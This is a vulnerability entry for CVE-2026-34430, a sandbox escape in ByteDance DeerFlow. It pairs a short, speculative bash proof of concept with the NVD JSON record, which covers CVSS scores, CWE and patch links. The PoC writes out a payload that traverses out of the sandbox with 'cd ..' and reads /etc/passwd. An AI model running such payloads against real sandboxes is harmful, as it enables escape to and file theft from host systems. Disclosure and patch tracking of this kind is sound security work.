CVE-2026-34430

#!/bin/bash # PoC for CVE-2026-34430: ByteDance DeerFlow Sandbox Escape # This payload attempts to bypass regex validation using directory traversal. # The vulnerable regex might simply check for valid characters or specific commands. # We use 'cd' with relative paths to traverse out of the sandbox. PAYLOAD="cd /tmp/sandbox; cd ..; cd ..; cd ..; cat /etc/passwd" # Alternatively, executing a command directly with a relative path # PAYLOAD="ls ../../../root" # Example of how the vulnerable subprocess might be invoked # subprocess.run(PAYLOAD, shell=True) -> This leads to escape echo "Executing Payload: $PAYLOAD" # eval "$PAYLOAD" # Actual execution in a vulnerable context

{"cve": {"id": "CVE-2026-34430", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:52.773", "lastModified": "2026-05-12T01:16:46.260", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "ByteDance DeerFlow versions prior to commit 92c7a20 contain a sandbox escape vulnerability in bash tool handling that allows attackers to execute arbitrary commands on the host system by bypassing regex-based validation using shell features such as directory changes and relative paths. Attackers can exploit the incomplete shell semantics modeling to read and modify files outside the sandbox boundary and achieve arbitrary command execution through subprocess invocation with shell interpretation enabled."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deerflow:deerflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-29", "matchCriteriaId": "3FF6521B-85DE-47C8-A6C9-25E004F5D856"}]}]}], "references": [{"url": "https://github.com/bytedance/deer-flow/commit/92c7a20cb74addc3038d2131da78f2e239ef542e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/bytedance/deer-flow/pull/1547", "source": "[email protected]", "tags": ["Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/bytedance-deerflow-localsandboxprovider-host-bash-escape", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}